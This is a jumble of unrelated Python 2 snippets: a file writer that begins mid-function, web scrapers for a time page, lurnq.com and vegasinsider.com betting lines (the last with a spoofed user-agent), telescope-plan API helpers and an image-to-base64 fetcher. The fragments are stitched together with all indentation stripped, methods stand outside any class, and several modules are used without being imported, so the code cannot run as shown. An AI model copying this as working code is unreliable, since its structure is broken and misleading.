if temp == ' ':
temp = ''
if re.match("([\d]+)-([\d]+)", temp):
temp = temp.split("-")
for t in temp:
I.append(t)
else:
I.append(temp)
if len(I) == Ncols:
fw.write(delim.join(I) + "\n")
fw.close()
#coding=utf-8
import urllib2
u = urllib2.urlopen(u'http://tycho.usno.navy.mil/cgi-bin/timer.pl')
print u'in with'
print u
for line in u:
#print line
if u'EDT' in line:
print line
import scraperwiki
import lxml.html
import urllib2
from urllib2 import urlopen
from lxml.html import parse
html = scraperwiki.scrape("http://lurnq.com/")
page = urlopen('http://lurnq.com/')
p = parse(page)
p.getroot()
root = lxml.html.fromstring(html)
def ctext(el):
result = []
if el.text:
result.append(el.text)
for sel in el:
assert sel.tag in ["b", "i"]
result.append("<" + sel.tag + ">")
result.append(ctext(sel))
result.append("</" + sel.tag + ">")
if sel.tail:
result.append(sel.tail)
return "".join(result)
tree = lxml.html.fromstring(html)
tree.xpath('//table[@class="quotes"]/tr')
print tree[1].tag # i
print tree[1].getparent().tag # h2
def confirmAllPlans(self):
jres = json.loads(urllib2.urlopen(self.base + '/api/list?status=approved').read())
for plan in jres['plans']:
print "Confirming plan %d: %s for %g seconds in %s filter" % (plan['id'], plan['name'], plan['exposure'], plan['filter'])
self.confirmPlan(plan['id'])
def getLine(
gameid): # get final money line from vegasinsider.com for future work
# dictionary of name conventions used on the site
teamNames = {
"ATL": "hawks",
"BOS": "celtics",
"BKN": "nets",
"CHA": "hornets",
"CHI": "bulls",
"CLE": "cavaliers",
"DAL": "mavericks",
"DEN": "nuggets",
"DET": "pistons",
"GSW": "warriors",
"HOU": "rockets",
"IND": "pacers",
"LAC": "clippers",
"LAL": "lakers",
"MEM": "grizzlies",
"MIA": "heat",
"MIL": "bucks",
"MIN": "timberwolves",
"NOP": "pelicans",
"NYK": "knicks",
"OKC": "thunder",
"ORL": "magic",
"PHI": "76ers",
"PHX": "suns",
"POR": "trail-blazers",
"SAC": "kings",
"SAS": "spurs",
"TOR": "raptors",
"UTA": "jazz",
"WAS": "wizards"
}
date = "-".join([gameid[4:6], gameid[6:8], gameid[2:4]])
url = u"http://www.vegasinsider.com/nba/odds/las-vegas/line-movement/" + teamNames[
gameid[8:11]] + "-@-" + teamNames[gameid[11:14]] + ".cfm/date/" + date
# spoof an alternate user-agent: works for vegasinsider
# courtesy of stackoverflow
headers = {'User-Agent': "Mozilla"}
request = urllib2.Request(url, headers=headers)
response = urllib2.urlopen(request)
with open("tempout.txt", "wb") as outfile:
shutil.copyfileobj(response, outfile)
html = open("tempout.txt", "rb").read()
# pseudocode very gross
# Jump to VI CONSENSUS LINE MOVEMENTS
# Jump to end of table (header for VI)
# Get following <TABLE> of lines
# Start at last row of this table and work backwards until a moneyline is extracted
txt = html[re.search("VI CONSENSUS LINE MOVEMENTS", html).start():]
txt = txt[re.search("</TABLE>", txt).end():] # get following table (1)
txt = txt[0:re.search("</TABLE>", txt).end():] # get following table (2)
txt = txt.split("<TR>") # break up table rows
gotLine = False
maxRows = round(0.5 * len(txt))
trind = -1
while not gotLine and abs(trind) < maxRows:
try:
txt0 = txt[trind].split("</TD>")
txt1 = txt0[2][re.search("<TD.*>", txt0[2]).end():].strip()
txt2 = txt0[3][re.search("<TD.*>", txt0[3]).end():].strip()
if re.search(gameid[8:11], txt1): # if away team is favorite
l1 = int(re.search("([+-][\d]+)", txt1).groups()[0])
try:
l2 = int(re.search("([+-][\d]+)", txt2).groups()[0])
except: # handles case when money line = 0 bc there is no +/-
l2 = int(re.search("([\d]+)", txt2).groups()[0])
else: # if home team is favorite
try:
l1 = int(re.search("([+-][\d]+)", txt2).groups()[0])
except: # handles case when money line = 0 bc there is no +/-
l1 = int(re.search("([\d]+)", txt2).groups()[0])
l2 = int(re.search("([+-][\d]+)", txt1).groups()[0])
gotLine = True
except: # if this parsing fails, go back a row
l1 = None
l2 = None
trind -= 1
return [l1, l2]
def deleteAllTargets(self):
jres = json.loads(urllib2.urlopen(self.base + '/api/list_targets').read())
for target in jres['targets']:
print "Deleting target %d: %s" % (target['id'], target['name'])
self.deleteTarget(target['id'])
def get_image(url):
image_url = Request(url, headers={'User-Agent': 'Mozilla/5.0'})
image_byt = urlopen(image_url).read()
#print('here' + image_byt)
image_b64 = base64.encodebytes(image_byt)
return image_b64
def deleteTarget(self, id=0):
res = urllib2.urlopen(self.base + '/api/delete_target?id=%d' % (int(id))).read()
jres = json.loads(res)
if jres['ret'] > 0:
print "Target %d deleted" % (id)
def cancelPlan(self, id):
res = urllib2.urlopen(self.base + '/api/cancel?id=%d' % (id)).read()
jres = json.loads(res)
if jres['ret'] > 0:
print "Plan %d cancelled" % (id)